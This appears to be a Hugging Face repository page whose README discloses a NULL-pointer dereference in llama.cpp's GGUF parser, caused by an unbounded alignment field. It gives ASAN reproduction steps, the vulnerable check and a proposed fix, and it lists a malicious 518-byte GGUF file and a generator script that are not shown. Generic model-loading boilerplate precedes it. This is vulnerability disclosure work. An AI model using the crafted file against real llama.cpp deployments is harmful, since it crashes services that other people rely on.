Instructions to use mrrobots18/gguf-poc-alignment-nullderef with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- llama-cpp-python
How to use mrrobots18/gguf-poc-alignment-nullderef with llama-cpp-python:
# !pip install llama-cpp-python from llama_cpp import Llama llm = Llama.from_pretrained( repo_id="mrrobots18/gguf-poc-alignment-nullderef", filename="poc1_huge_alignment.gguf", )
output = llm( "Once upon a time,", max_tokens=512, echo=True ) print(output)
- Notebooks
- Google Colab
- Kaggle
- Local Apps
- llama.cpp
How to use mrrobots18/gguf-poc-alignment-nullderef with llama.cpp:
Install from brew
brew install llama.cpp # Start a local OpenAI-compatible server with a web UI: llama-server -hf mrrobots18/gguf-poc-alignment-nullderef # Run inference directly in the terminal: llama-cli -hf mrrobots18/gguf-poc-alignment-nullderef
Install from WinGet (Windows)
winget install llama.cpp # Start a local OpenAI-compatible server with a web UI: llama-server -hf mrrobots18/gguf-poc-alignment-nullderef # Run inference directly in the terminal: llama-cli -hf mrrobots18/gguf-poc-alignment-nullderef
Use pre-built binary
# Download pre-built binary from: # https://github.com/ggerganov/llama.cpp/releases # Start a local OpenAI-compatible server with a web UI: ./llama-server -hf mrrobots18/gguf-poc-alignment-nullderef # Run inference directly in the terminal: ./llama-cli -hf mrrobots18/gguf-poc-alignment-nullderef
Build from source code
git clone https://github.com/ggerganov/llama.cpp.git cd llama.cpp cmake -B build cmake --build build -j --target llama-server llama-cli # Start a local OpenAI-compatible server with a web UI: ./build/bin/llama-server -hf mrrobots18/gguf-poc-alignment-nullderef # Run inference directly in the terminal: ./build/bin/llama-cli -hf mrrobots18/gguf-poc-alignment-nullderef
Use Docker
docker model run hf.co/mrrobots18/gguf-poc-alignment-nullderef
- LM Studio
- Jan
- Ollama
How to use mrrobots18/gguf-poc-alignment-nullderef with Ollama:
ollama run hf.co/mrrobots18/gguf-poc-alignment-nullderef
- Unsloth Studio new
How to use mrrobots18/gguf-poc-alignment-nullderef with Unsloth Studio:
Install Unsloth Studio (macOS, Linux, WSL)
curl -fsSL https://unsloth.ai/install.sh | sh # Run unsloth studio unsloth studio -H 0.0.0.0 -p 8888 # Then open http://localhost:8888 in your browser # Search for mrrobots18/gguf-poc-alignment-nullderef to start chatting
Install Unsloth Studio (Windows)
irm https://unsloth.ai/install.ps1 | iex # Run unsloth studio unsloth studio -H 0.0.0.0 -p 8888 # Then open http://localhost:8888 in your browser # Search for mrrobots18/gguf-poc-alignment-nullderef to start chatting
Using HuggingFace Spaces for Unsloth
# No setup required # Open https://huggingface.co/spaces/unsloth/studio in your browser # Search for mrrobots18/gguf-poc-alignment-nullderef to start chatting
- Docker Model Runner
How to use mrrobots18/gguf-poc-alignment-nullderef with Docker Model Runner:
docker model run hf.co/mrrobots18/gguf-poc-alignment-nullderef
- Lemonade
How to use mrrobots18/gguf-poc-alignment-nullderef with Lemonade:
Pull the model
# Download Lemonade from https://lemonade-server.ai/ lemonade pull mrrobots18/gguf-poc-alignment-nullderef
Run and chat with the model
lemonade run user.gguf-poc-alignment-nullderef-{{QUANT_TAG}}List all available models
lemonade list
GGUF Parser NULL Pointer Dereference -- PoC
Vulnerability: NULL Pointer Dereference via attacker-controlled
general.alignment field in gguf_init_from_file_impl()
Target: llama.cpp / ggml GGUF parser
Commit tested: b9da444 (latest main)
Severity: HIGH -- SEGV confirmed by AddressSanitizer
Submitted to: huntr.com bug bounty ($3,000-$4,000 tier)
Files
| File | Description |
|---|---|
poc1_huge_alignment.gguf |
518-byte malicious GGUF triggering SEGV crash |
generate_malicious.py |
Python 3 PoC generator (no dependencies) |
ASAN_output.txt |
Full AddressSanitizer + UBSan crash output |
Quick Reproduction
# Clone and build with ASAN
git clone --depth=1 https://github.com/ggerganov/llama.cpp
cd llama.cpp
cmake -B build-asan \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -g" \
-DCMAKE_C_FLAGS="-fsanitize=address,undefined -g" \
-DGGML_NATIVE=OFF
cmake --build build-asan --target llama-gguf -j4
# Run PoC
export LD_LIBRARY_PATH=./build-asan/bin
./build-asan/bin/llama-gguf poc1_huge_alignment.gguf r
# Expected:
# AddressSanitizer: SEGV on unknown address 0x000000000000
# SUMMARY: AddressSanitizer: SEGV gguf.cpp:869 in gguf_get_version
Root Cause (gguf.cpp:559)
// VULNERABLE: only power-of-2 check, NO upper bound
if (ctx->alignment == 0 || (ctx->alignment & (ctx->alignment - 1)) != 0) {
return nullptr;
}
// With alignment=2^31, fseek jumps to 2GB offset in a 518-byte file
// fread() returns 0, parser returns nullptr, caller dereferences it -> SEGV
Fix
const size_t GGUF_MAX_ALIGNMENT = (1u << 20); // 1MB max
if (ctx->alignment == 0 ||
(ctx->alignment & (ctx->alignment - 1)) != 0 ||
ctx->alignment > GGUF_MAX_ALIGNMENT) { // ADD THIS
return nullptr;
}
This repo is gated -- access restricted to authorized security reviewers.
- Downloads last month
- 2
We're not able to determine the quantization variants.